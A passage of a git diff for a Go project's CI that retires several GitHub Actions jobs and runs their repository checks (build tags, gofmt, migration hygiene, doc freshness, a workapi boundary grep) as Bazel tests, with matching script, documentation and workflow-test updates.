steps are bash and git. + # + # Each step has its own id and `if: ${{ !cancelled() }}`, so one failure + # does not hide the other, and its outcome is a job output that ci-gate + # requires (TestPRCIGateFastChecksTokens). FAST_CHECKS (the job's own + # `result`) is the backstop token for a job lost before any step set its + # output. fast-checks: - name: Fast checks (build tags, versions, migrations, beads diff, fmt) + name: Fast checks (frozen migrations, .beads diff) runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} timeout-minutes: 10 outputs: - build-tags: ${{ steps.build-tags.outcome }} - version-consistency: ${{ steps.version-consistency.outcome }} migration-hygiene: ${{ steps.migration-hygiene.outcome }} no-beads-changes: ${{ steps.no-beads-changes.outcome }} - fmt: ${{ steps.fmt.outcome }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 with: @@ -180,40 +178,18 @@ jobs: # the base branch; a shallow checkout starves both. fetch-depth: 0 - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # Fast shell/Make guard for direct source-time build-tag declarations. - # Workflow `run` steps are checked structurally in the required policy - # wrapper. - - name: Check build-tag policy - id: build-tags - if: ${{ !cancelled() }} - run: | - ./scripts/check-build-tags.sh - ./scripts/check-go-install-guidance.sh - ./scripts/check-winget-portable-alias.sh - - # Fast check to ensure all version files are in sync - - name: Check all versions match - id: version-consistency - if: ${{ !cancelled() }} - run: ./scripts/check-versions.sh - - # Migration hygiene: duplicate version numbers, nondeterministic SQL - # (UUID()/NOW()/RAND(), the #4259 root-cause class), and edits to - # migration files that already exist on the base branch (shipped - # migrations are frozen; fix forward with a new version). Fails at PR - # time, before any test even compiles. Details: + # Migration hygiene, delta half: edits to migration files that already + # exist on the base branch (shipped migrations are frozen; fix forward + # with a new version), and the twin and prepared-DML rules for new + # migrations. Checks A and B (duplicate versions, nondeterministic SQL) + # read only the tree and run in Bazel. Details: # scripts/check-migration-hygiene.sh. - name: Run migration hygiene checks id: migration-hygiene if: ${{ !cancelled() }} env: BASE_SHA: ${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }} + MIGRATION_HYGIENE_SCOPE: delta run: ./scripts/check-migration-hygiene.sh # Fast check to catch accidental .beads/issues.jsonl changes from @@ -247,11 +223,6 @@ jobs: fi echo "No .beads/issues.jsonl changes detected" - - name: Check gofmt - id: fmt - if: ${{ !cancelled() }} - run: make fmt-check - # Lock in two CGO-disabled portability boundaries. cmd/bd carries a mix of # cgo-only test helpers (embedded Dolt, sql.DB) and pure-Go tests; compiling # and running its pure-Go subset prevents test contamination (mybd-ycx / @@ -849,6 +820,14 @@ jobs: # Check documentation references match actual CLI flags # + # Stays a job: the generated CLI docs describe the release pinned in + # docs/cli-docs.pin, and check-doc-flags.sh validates them against bd built + # from that tag (scripts/resolve-docs-bd.sh: git fetch the tag, pure-Go go + # build), attributing drift against the merge-base. Neither input can enter + # a Bazel action key: releases publish no pure-Go linux binary to pin, and + # the attribution needs the PR's base. check-doc-freshness.sh, which this + # job also ran, is //scripts/repochecks:doc_freshness_test. + # # F7a: moved to Blacksmith for same-repo PRs/merge_group. This job's module # cache restore step was already absent before the fold (every run cold- # builds bd), so there is no GitHub-saved cache to lose here. @@ -881,9 +860,7 @@ jobs: # would eject every queued PR. Diff against the queue's base # commit instead (empty on pull_request: origin/$GITHUB_BASE_REF). BD_DOCS_DIFF_BASE: ${{ github.event.merge_group.base_sha }} - run: | - ./scripts/check-doc-flags.sh ./bd - ./scripts/check-doc-freshness.sh + run: ./scripts/check-doc-flags.sh ./bd # When the drift check fails, it writes the exact regenerated-docs fix # (produced with CI's canonical build) so contributors can apply it with @@ -898,6 +875,13 @@ jobs: path: ${{ runner.temp }}/cli-docs-freshness.patch if-no-files-found: ignore + # The Linux leg is Bazel's (ga-96smfk.20): //scripts:doc_freshness_required_test + # (integration lane: the doc-freshness suite under -required-suite) and + # //scripts/gitattributespolicy:gitattributespolicy_required_host_test + # (-required-host -expected-goos linux), both on rbe-west's Linux workers. + # The macOS and Windows legs stay here, on Blacksmith for same-repo PRs and + # merge groups (GitHub-hosted for forks and Dependabot). + # # F7b: same-repo Blacksmith for the Linux/Windows legs via the "matrix # marker" form (spec F7/F7b §2.1): Actions does not expand `${{ }}` inside a # matrix array/include value, so each leg's `include` entry instead carries @@ -929,9 +913,6 @@ jobs: fail-fast: false matrix: include: - - os: ubuntu-latest - expected_goos: linux - runner: same-repo-linux - os: macos-latest expected_goos: darwin runner: same-repo-macos @@ -1146,69 +1127,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: bash scripts/ci/test-windows-env-helpers.sh - # F3: package-mcp and package-npm (and the detect job that fed them) moved - # into bazel.yml, which pr.yml calls with package-gates: "on" below. They - # now depend on nothing but the rbe job's decision, so they no longer wait - # on build-artifacts, bazel-coverage or the rest of the bazel call. - # - # F7a: moved to Blacksmith for same-repo PRs/merge_group. setup-go runs with - # cache: false and the module download step below always hits the network, - # so this job restores no GitHub-saved cache. - pr-policy-wrapper: - name: PR Policy (wrapper timing) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # The module fetch is the only part of this job that talks to the network, - # and setup-go above runs with cache: false, so every run pulls the whole - # module graph from the proxy. Doing it here, retried, means a proxy blip - # costs seconds instead of failing a required check. - # - # Deliberately NOT wrapped around the build: `make ci-pr-policy` runs a - # `go build ./cmd/bd` (scripts/ci/pr-policy.sh, build_docs_binary), and a - # compile error is not transient. Retrying it would make a genuinely broken - # build take three attempts to report and look like a slow one. The fetch - # has a legitimate transient failure mode; the build does not. - # - # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s - # of headroom, matching the bounded apt-get steps in migration-test.yml. - - name: Download modules - timeout-minutes: 8 - run: | - downloaded="" - for attempt in 1 2 3; do - if timeout 120 go mod download; then - downloaded=yes - break - fi - echo "::warning::go mod download attempt $attempt failed or timed out" - # No backoff after the final attempt - there is nothing left to wait for. - if [ "$attempt" -lt 3 ]; then - sleep 10 - fi - done - # Unlike the best-effort apt-get retries elsewhere in this repo, this - # one is load-bearing: nothing downstream can build without the - # modules. Fail here, naming the fetch, so a module outage is not - # reported as a build failure. - if [ -z "$downloaded" ]; then - echo "::error::go mod download failed after 3 attempts - module fetch failure, not a build failure" - exit 1 - fi - - - name: Run PR policy wrapper - run: make ci-pr-policy - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / # test (`bazel test //... --config=ci`, the same selection, checked by its # equivalence step) runs it, and scripts-go-checks runs what Bazel does not @@ -1279,7 +1197,7 @@ jobs: # (//scripts:scripts_test, //test/docsync over //:repo_files), remotely. # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot, same - # pattern as advisory-reports/pr-policy-wrapper/pr-core-wrapper above. + # pattern as advisory-reports/pr-core-wrapper above. # main.yml's go-vet-cache venue matrix seeds the vet leg's GOCACHE. scripts-go-checks: name: Go checks (${{ matrix.check }}) @@ -2380,7 +2298,6 @@ jobs: - check-doc-flags - check-doc-freshness-platforms - pr-preflight-platforms - - pr-policy-wrapper - pr-core-wrapper - scripts-go-checks - pr-lint-wrapper @@ -2399,11 +2316,8 @@ jobs: CI_GATE_REQUIRED: >- BUILD_ARTIFACTS FAST_CHECKS - CHECK_BUILD_TAGS - CHECK_VERSION_CONSISTENCY CHECK_MIGRATION_HYGIENE CHECK_NO_BEADS_CHANGES - FMT_CHECK CHECK_CMD_BD_PUREGEO_TESTS CHECK_RELEASE_TARGET_CROSS_COMPILATION CHECK_DOC_FLAGS @@ -2411,7 +2325,6 @@ jobs: PR_PREFLIGHT_PLATFORMS PACKAGE_MCP PACKAGE_NPM - PR_POLICY_WRAPPER PR_CORE_WRAPPER SCRIPTS_GO_CHECKS PR_LINT_WRAPPER @@ -2431,21 +2344,19 @@ jobs: BAZEL_DOLT_SERVER_RETIRED BAZEL_PR_LANES_RETIRED BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} - # F7a: fast-checks folds five formerly-separate jobs into one job - # with five steps; each token below now reads that step's outcome - # (via the job's outputs) instead of a sibling job's result, with a - # 'skipped' fallback for a lost job (see FAST_CHECKS below). - # TestPRCIGateFastChecksTokens pins this mapping. - CHECK_BUILD_TAGS: ${{ needs.fast-checks.outputs.build-tags || 'skipped' }} - CHECK_VERSION_CONSISTENCY: ${{ needs.fast-checks.outputs.version-consistency || 'skipped' }} + # fast-checks' two base-diff steps; each token reads that step's + # outcome (via the job's outputs), with a 'skipped' fallback for a + # lost job (see FAST_CHECKS below). TestPRCIGateFastChecksTokens + # pins this mapping. The repository guards the job used to run + # (build tags, versions, migration checks A and B, gofmt) are Bazel + # tests and gate through BAZEL_TEST. CHECK_MIGRATION_HYGIENE: ${{ needs.fast-checks.outputs.migration-hygiene || 'skipped' }} CHECK_NO_BEADS_CHANGES: ${{ needs.fast-checks.outputs.no-beads-changes || 'skipped' }} - FMT_CHECK: ${{ needs.fast-checks.outputs.fmt || 'skipped' }} # Backstop: if fast-checks itself is lost (e.g. a cancelled runner) - # before any step sets an output, the five tokens above all read - # 'skipped' (none are in CI_GATE_SKIPPED_OK by default, so the gate - # still reds) - FAST_CHECKS gives ci-gate.sh one clear line naming - # the job instead of five step-shaped ones. + # before any step sets an output, the two tokens above read + # 'skipped' (neither is in CI_GATE_SKIPPED_OK, so the gate still + # reds) - FAST_CHECKS gives ci-gate.sh one clear line naming the + # job. FAST_CHECKS: ${{ needs.fast-checks.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} CHECK_RELEASE_TARGET_CROSS_COMPILATION: ${{ needs.check-release-target-cross-compilation.result }} @@ -2466,7 +2377,6 @@ jobs: # here). PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} - PR_POLICY_WRAPPER: ${{ needs.pr-policy-wrapper.result }} PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} diff --git a/BUILD.bazel b/BUILD.bazel index dd3c4b4a1..752091059 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -11,6 +11,12 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") # so //:repo_files covers it for //test/docsync's link checks and the # repository-policy tests in //scripts. # gazelle:exclude integrations +# The two example Go modules (own go.mod, built against a released beads) are +# not part of this build either, but they are tracked files the repository +# guards (gofmt, build-tag and install-guidance checks in +# //scripts/repochecks) must see, so they are not in .bazelignore. +# gazelle:exclude examples/library-usage +# gazelle:exclude examples/bd-example-extension-go gazelle(name = "gazelle") exports_files( @@ -361,6 +367,7 @@ filegroup( "//scripts/migration-test/catalog:repo_files", "//scripts/pr-lint:repo_files", "//scripts/prlintmake:repo_files", + "//scripts/repochecks:repo_files", "//scripts/repro-dolt-hang:repo_files", "//scripts/repro-dolt-prod-timeouts:repo_files", "//scripts/workflowtags:repo_files", @@ -374,6 +381,7 @@ filegroup( ], visibility = [ "//scripts:__pkg__", + "//scripts/repochecks:__pkg__", "//test/docsync:__pkg__", ], ) diff --git a/MODULE.bazel b/MODULE.bazel index 186368330..079f91640 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -220,16 +220,20 @@ dolt_release( platform = "darwin-arm64", ) -# The tracked release formula, for //scripts:scripts_test. .beads/ also holds -# live bd data and is in .bazelignore, so no main-repo target can declare the -# formula; this local repository exposes only .beads/formulas. +# The tracked release formula, for //scripts:scripts_test and the +# whole-checkout guard //scripts/repochecks:go_install_guidance_test. .beads/ +# also holds live bd data and is in .bazelignore, so no main-repo target can +# declare the formula; this local repository exposes only .beads/formulas. new_local_repository = use_repo_rule("@bazel_tools//tools/build_defs/repo:local.bzl", "new_local_repository") new_local_repository( name = "beads_formulas", build_file_content = """exports_files( glob(["*.formula.toml"]), - visibility = ["@@//scripts:__pkg__"], + visibility = [ + "@@//scripts:__pkg__", + "@@//scripts/repochecks:__pkg__", + ], ) """, path = ".beads/formulas", diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 6ec63d432..08615789b 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -630,11 +630,9 @@ would only be needed if maintainers still want exactly one required check. Do not require these existing check names directly: - `Detect CI tier` -- `Fast checks (build tags, versions, migrations, beads diff, fmt)` (F7a fold - of the former standalone `Check build-tag policy`, `Check version - consistency`, `Check for .beads changes` and `Check formatting` checks into - one job's steps; see - [F7a: Same-Repo Blacksmith Moves and Job Folds](#f7a-same-repo-blacksmith-moves-and-job-folds)) +- `Fast checks (frozen migrations, .beads diff)` (the base-diff checks; the + tree checks it used to run are Bazel tests, see + [Repository Guards as Bazel Tests](#repository-guards-as-bazel-tests)) - `Check pure-Go and js/wasm boundaries (CGO_ENABLED=0)` - `Check doc flags freshness` - `Check release target cross-compilation (unix)` and `(desktop)` (F7a fold @@ -1255,6 +1253,49 @@ scope, not this slice's. Windows job to Blacksmith (there is no Windows Blacksmith pool), and neither job is one F4's concurrent Windows-region edits touch. +### Repository Guards as Bazel Tests + +ga-96smfk.20 moved the repository guards that pr.yml ran on GitHub runners +into Bazel tests over narrow slices of the checkout +(`tools/bazel/repo_subset.bzl`, laid out as a throwaway git checkout by +`scripts/repochecks/run_check.sh`), so they run remotely in bazel.yml's +`test` lane and a pass is reused until one of the files the guard reads +changes. They gate through `BAZEL_TEST`; pinned by +`TestPRPolicyChecksRunAsBazelTargets`. + +| Former job / step | Bazel target | +| --- | --- | +| fast-checks: `check-build-tags.sh` | `//scripts/repochecks:build_tags_test` | +| fast-checks: `check-go-install-guidance.sh` | `//scripts/repochecks:go_install_guidance_test` | +| fast-checks: `check-winget-portable-alias.sh` | `//scripts/repochecks:winget_portable_alias_test` | +| fast-checks: `check-versions.sh` | `//internal/versioncheck:versioncheck_test` (same `versioncheck.Check` over the release metadata) | +| fast-checks: migration hygiene checks A and B | `//scripts/repochecks:migration_hygiene_test` (`MIGRATION_HYGIENE_SCOPE=tree`) | +| fast-checks: `make fmt-check` | `//scripts/repochecks:fmt_test` (the registered SDK's gofmt) | +| PR Policy: `checkworkflowtags` | `//scripts/repochecks:workflow_tags_test` | +| PR Policy: `check-testing-short.sh` | `//scripts:scripts_test` (`TestCheckTestingShortPassesOnCleanRepoTree`) | +| PR Policy: workapi frontend boundary | `//scripts/repochecks:workapi_frontend_boundary_test` | +| PR Policy: `make api-check` drift | `//scripts/repochecks:types_gen_drift_test`; its `go test ./internal/httpapi/...` half is the httpapi targets in the same lane | +| PR Policy / check-doc-flags: `check-doc-freshness.sh` | `//scripts/repochecks:doc_freshness_test` | +| check-doc-freshness-platforms, Linux leg | `//scripts:doc_freshness_required_test` (integration lane) and `//scripts/gitattributespolicy:gitattributespolicy_required_host_test` | + +What stays a job, and why: + +- `fast-checks` keeps the two checks that need the PR's base commit: + check-migration-hygiene.sh's delta half (`MIGRATION_HYGIENE_SCOPE=delta`: + frozen shipped migrations, ignored-plane twins, prepared DML in new + migrations) and the `.beads/issues.jsonl` guard. No action key can hold a + base commit. +- `check-doc-flags` validates the generated CLI docs against bd built from + the release tag in `docs/cli-docs.pin` (git fetch plus a pure-Go + `go build`), and attributes drift against the merge-base. Releases publish + no pure-Go Linux binary a Bazel repository could pin by sha256. +- The macOS and Windows legs of `check-doc-freshness-platforms` (no remote + workers for those hosts), on Blacksmith for same-repo PRs and merge groups. + +`check-doc-freshness.sh` compares review dates with today's date, which is +not in the action key: a cached pass stands until one of its inputs changes, +and nightly's `--config=fresh` run re-checks it against the date. + ### Same-Repo Blacksmith macOS Legs pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel index f777dcdd4..9aa4a0b29 100644 --- a/internal/httpapi/apigen/BUILD.bazel +++ b/internal/httpapi/apigen/BUILD.bazel @@ -15,6 +15,13 @@ go_library( ], ) +# //scripts/repochecks:types_gen_drift_test regenerates types.gen.go from the +# spec (`make api-check`'s drift half). +exports_files( + ["types.gen.go"], + visibility = ["//scripts/repochecks:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index 5fe190f42..81d0f6532 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -13,10 +13,14 @@ go_library( # (the go:embed above), not a relative os.ReadFile path, so no `data` # dependency on this file is actually needed for that one read -- this export # stays as defense in depth for any other reader of the raw YAML that package -# gains. +# gains. //scripts/repochecks:types_gen_drift_test regenerates the wire +# types from it. exports_files( ["openapi.v0.yaml"], - visibility = ["//internal/httpclient/encode:__pkg__"], + visibility = [ + "//internal/httpclient/encode:__pkg__", + "//scripts/repochecks:__pkg__", + ], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/workapi/doc.go b/internal/workapi/doc.go index 6df2ee589..bda4b6c15 100644 --- a/internal/workapi/doc.go +++ b/internal/workapi/doc.go @@ -14,5 +14,5 @@ // // The boundary is enforced mechanically, not by review: see the // workapi-frontend-boundary depguard rule in .golangci.yml and the -// banned-accessor check in scripts/ci/pr-policy.sh. +// banned-accessor check in scripts/check-workapi-frontend-boundary.sh. package workapi diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 0eaa8a45f..4c619b4e1 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -47,6 +47,7 @@ go_test( "pull_dolt_image_test.go", "rbe_worker_env_test.go", "release_script_test.go", + "repo_helpers_test.go", "required_suite_test.go", "test_script_test.go", "upgrade_smoke_loop_test.go", @@ -73,6 +74,37 @@ go_test( ], ) +# pr.yml's check-doc-freshness-platforms Linux leg: `go test +# -tags integration ./scripts -count=1 -run '^(TestDocFreshness.*| +# TestRequiredSuiteContract)$' -args -required-suite=doc-freshness`, whose +# TestMain fails unless exactly the doc-freshness inventory is compiled and +# selected. scripts_test runs those tests too (in the integration lane); this +# target adds the inventory and selection contract, over only the files the +# suite reads (its fixtures copy check-doc-freshness.sh). The macOS and +# Windows legs stay in pr.yml. +# Tags: +# integration-only: every TestDocFreshness test is //go:build integration, +# so --config=integration's lane runs it. +go_test( + name = "doc_freshness_required_test", + srcs = [ + "check_doc_freshness_test.go", + "repo_helpers_test.go", + "required_suite_test.go", + ], + args = [ + "-test.count=1", + "-test.run=^(TestDocFreshness.*|TestRequiredSuiteContract)$$", + "-required-suite=doc-freshness", + ], + data = ["check-doc-freshness.sh"], + tags = ["integration-only"], + deps = [ + "//internal/testutil/bazeltest", + "//scripts/internal/testbash", + ], +) + exports_files( ["migration-test/release-catalog.json"], visibility = ["//scripts/migration-test/catalog:__pkg__"], diff --git a/scripts/check-migration-hygiene.sh b/scripts/check-migration-hygiene.sh index 7a1db5af4..1e1b4a70c 100755 --- a/scripts/check-migration-hygiene.sh +++ b/scripts/check-migration-hygiene.sh @@ -89,6 +89,12 @@ # Checks C, D, and E compare against $BASE_SHA if set (CI passes the PR base), # else origin/main, else main; they are skipped with a warning when no base # is resolvable (e.g. shallow clone without the base commit). +# +# MIGRATION_HYGIENE_SCOPE splits the two halves for CI (default: all): +# tree checks A and B, which read only the checked-out migrations: the +# hermetic half, //scripts/repochecks:migration_hygiene_test. +# delta checks C, D and E, which diff against the base: pr.yml's +# pr-diff-checks job, the only place a PR's base is known. set -euo pipefail @@ -100,6 +106,16 @@ MIG_DIR="internal/storage/schema/migrations" ALLOWLIST="$MIG_DIR/nondeterminism-allowlist.txt" fail=0 +scope="${MIGRATION_HYGIENE_SCOPE:-all}" +case "$scope" in + all|tree|delta) ;; + *) echo "MIGRATION_HYGIENE_SCOPE must be all, tree or delta, not '$scope'" >&2; exit 2 ;; +esac + +# Checks A and B (and the allowlist audit) run unless scope is delta. Their +# bodies are not indented under this `if`: Check B's heredoc is column-0. +if [ "$scope" != delta ]; then + # --- Check A: duplicate version numbers ------------------------------------ # Numbering is per directory: migrations/ and migrations/ignored/ are # independent sequences (see ignored/ for local-state tables). @@ -183,9 +199,14 @@ if [ -f "$ALLOWLIST" ]; then done < "$ALLOWLIST" fi +fi # scope != delta + # --- Check C: shipped migrations are frozen ---------------------------------- +# Scope tree leaves base empty, so C, D and E below skip without a warning. base="${BASE_SHA:-}" -if [ -z "$base" ]; then +if [ "$scope" = tree ]; then + base="" +elif [ -z "$base" ]; then for candidate in origin/main main; do if git rev-parse --verify -q "$candidate^{commit}" >/dev/null 2>&1; then base="$candidate" @@ -195,7 +216,7 @@ if [ -z "$base" ]; then fi if [ -z "$base" ] || ! merge_base=$(git merge-base "$base" HEAD 2>/dev/null); then - echo "WARN (frozen migrations) no usable base ref; skipping check C." >&2 + [ "$scope" = tree ] || echo "WARN (frozen migrations) no usable base ref; skipping check C." >&2 else # Diff merge-base against the working tree (no HEAD) so local uncommitted # edits are caught too; in CI the tree is clean so this equals the PR diff. @@ -228,7 +249,7 @@ fi # backstop for the same invariant is # internal/storage/embeddeddolt/migrate_ignored_plane_shape_test.go. if [ -z "$base" ] || [ -z "${merge_base:-}" ]; then - echo "WARN (ignored twins) no usable base ref; skipping check D." >&2 + [ "$scope" = tree ] || echo "WARN (ignored twins) no usable base ref; skipping check D." >&2 else ignored_tables='wisps|wisp_[a-z_]+|repo_mtimes|local_metadata|leases|events|bd_events_journal|bd_events_seq|ignored_schema_migrations' ddl_re="(alter|create|rename|drop)[[:space:]]+table([[:space:]]+if[[:space:]]+(not[[:space:]]+)?exists)?[[:space:]]+[\`']?(${ignored_tables})\b" @@ -373,7 +394,7 @@ EOF } if [ -z "$base" ] || [ -z "${merge_base:-}" ]; then - echo "WARN (prepared DML) no usable base ref; skipping check E." >&2 + [ "$scope" = tree ] || echo "WARN (prepared DML) no usable base ref; skipping check E." >&2 else # Only *.up.sql is embedded into the CLI fresh bundle (`//go:embed # migrations/*.up.sql`, schema.go:218), so a .down.sql can never meet the bug diff --git a/scripts/check-workapi-frontend-boundary.sh b/scripts/check-workapi-frontend-boundary.sh new file mode 100755 index 000000000..2031166bc --- /dev/null +++ b/scripts/check-workapi-frontend-boundary.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash +# internal/workapi must not read cwd- or environment-derived state. +# +# The import half of this boundary is the workapi-frontend-boundary depguard +# rule in .golangci.yml. This is the symbol half depguard cannot express: +# internal/workapi legitimately imports internal/config (for +# GetCustomTypesFromYAML, a workspace-scoped read), but process-local reads +# derived from a client's cwd or environment are meaningless in a long-lived +# server and must not leak into the shared contract. +# +# Runs in scripts/ci/pr-policy.sh and as +# //scripts/repochecks:workapi_frontend_boundary_test. +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +cd "$SCRIPT_DIR/.." + +banned='config\.GetDirectoryLabels|os\.Getenv' + +if [[ ! -d internal/workapi ]]; then + printf 'internal/workapi does not exist; skipping frontend-boundary check.\n' + exit 0 +fi + +if grep -rnE "$banned" internal/workapi --include='*.go'; then + cat >&2 <<'MSG' + +internal/workapi must not read cwd- or environment-derived state. + +Those reads describe the client's process, which a server process does not +share. Resolve them in the frontend and pass the result in as a parameter. +See internal/workapi/doc.go. +MSG + exit 1 +fi + +printf 'No banned cwd/env accessors in internal/workapi.\n' diff --git a/scripts/ci/pr-policy.sh b/scripts/ci/pr-policy.sh index 4a0436bcd..d450085c7 100755 --- a/scripts/ci/pr-policy.sh +++ b/scripts/ci/pr-policy.sh @@ -62,35 +62,6 @@ EOF printf 'No .beads/issues.jsonl changes detected.\n' } -check_workapi_frontend_boundary() { - # The import half of this boundary is the workapi-frontend-boundary - # depguard rule in .golangci.yml. This is the symbol half depguard cannot - # express: internal/workapi legitimately imports internal/config (for - # GetCustomTypesFromYAML, a workspace-scoped read), but process-local - # reads derived from a client's cwd or environment are meaningless in a - # long-lived server and must not leak into the shared contract. - local banned='config\.GetDirectoryLabels|os\.Getenv' - - if [[ ! -d internal/workapi ]]; then - printf 'internal/workapi does not exist; skipping frontend-boundary check.\n' - return 0 - fi - - if grep -rnE "$banned" internal/workapi --include='*.go'; then - cat >&2 <<'EOF' - -internal/workapi must not read cwd- or environment-derived state. - -Those reads describe the client's process, which a server process does not -share. Resolve them in the frontend and pass the result in as a parameter. -See internal/workapi/doc.go. -EOF - return 1 - fi - - printf 'No banned cwd/env accessors in internal/workapi.\n' -} - build_docs_binary() { tmpdir="$(mktemp -d)" local build @@ -111,7 +82,7 @@ ci_time "build bd for docs checks" -- build_docs_binary ci_time "check doc flags" -- ./scripts/check-doc-flags.sh "$tmpdir/bd" ci_time "check doc freshness" -- ./scripts/check-doc-freshness.sh ci_time "check testing.Short boundaries" -- ./scripts/check-testing-short.sh -ci_time "check workapi frontend boundary" -- check_workapi_frontend_boundary +ci_time "check workapi frontend boundary" -- ./scripts/check-workapi-frontend-boundary.sh ci_time "check no .beads/issues.jsonl changes" -- check_no_beads_jsonl_changes # The OpenAPI drift gate belongs to a REQUIRED PR job. The Main workflow is # perpetually concurrency-cancelled, so a gate that only ran there would be diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 651f41499..fb7ed17f8 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -34,7 +34,7 @@ import ( const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized -// larger than the 2 vCPU default (check-doc-flags, pr-policy-wrapper, +// larger than the 2 vCPU default (check-doc-flags, // pr-risk.yml's test-nix at 4 vCPU; check-release-target-cross-compilation at // 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index fcd7006e2..59bca0ca0 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -36,7 +36,23 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { } } - assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") + // pr.yml's PR Policy job is retired: its checks are Bazel tests + // (TestPRPolicyChecksRunAsBazelTargets). main.yml keeps its own + // copy until main.yml's legacy jobs go. + if workflowName == "pr.yml" { + if _, found := workflow.Jobs["pr-policy-wrapper"]; found { + t.Errorf("pr.yml has a pr-policy-wrapper job; its checks run as Bazel tests") + } + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + if strings.Contains(step.Run, "make ci-pr-policy") { + t.Errorf("pr.yml job %s step %q runs make ci-pr-policy; its checks run as Bazel tests", name, step.Name) + } + } + } + } else { + assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") + } assertJobRunsExactly(t, workflow.job(t, "pr-lint-wrapper"), "make ci-pr-lint") // F5.1: the duplicate whole-tree/diff-scoped `Lint` job (and its @@ -132,25 +148,29 @@ func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env - for _, job := range []string{"pr-policy-wrapper", "pr-lint-wrapper"} { - if !contains(gate.Needs, job) { - t.Errorf("ci-gate needs %q: %v", job, gate.Needs) - } + if !contains(gate.Needs, "pr-lint-wrapper") { + t.Errorf("ci-gate needs %q: %v", "pr-lint-wrapper", gate.Needs) + } + if got, want := gateEnv["PR_LINT_WRAPPER"], "${{ needs.pr-lint-wrapper.result }}"; got != want { + t.Errorf("ci-gate env PR_LINT_WRAPPER = %q, want %q", got, want) + } + if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], "PR_LINT_WRAPPER") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", "PR_LINT_WRAPPER") } - for key, want := range map[string]string{ - "PR_POLICY_WRAPPER": "${{ needs.pr-policy-wrapper.result }}", - "PR_LINT_WRAPPER": "${{ needs.pr-lint-wrapper.result }}", - } { - if got := gateEnv[key]; got != want { - t.Errorf("ci-gate env %s = %q, want %q", key, got, want) - } + // The retired PR Policy job's checks gate through BAZEL_TEST (the Bazel + // `test` lane), so its token must not linger. + if 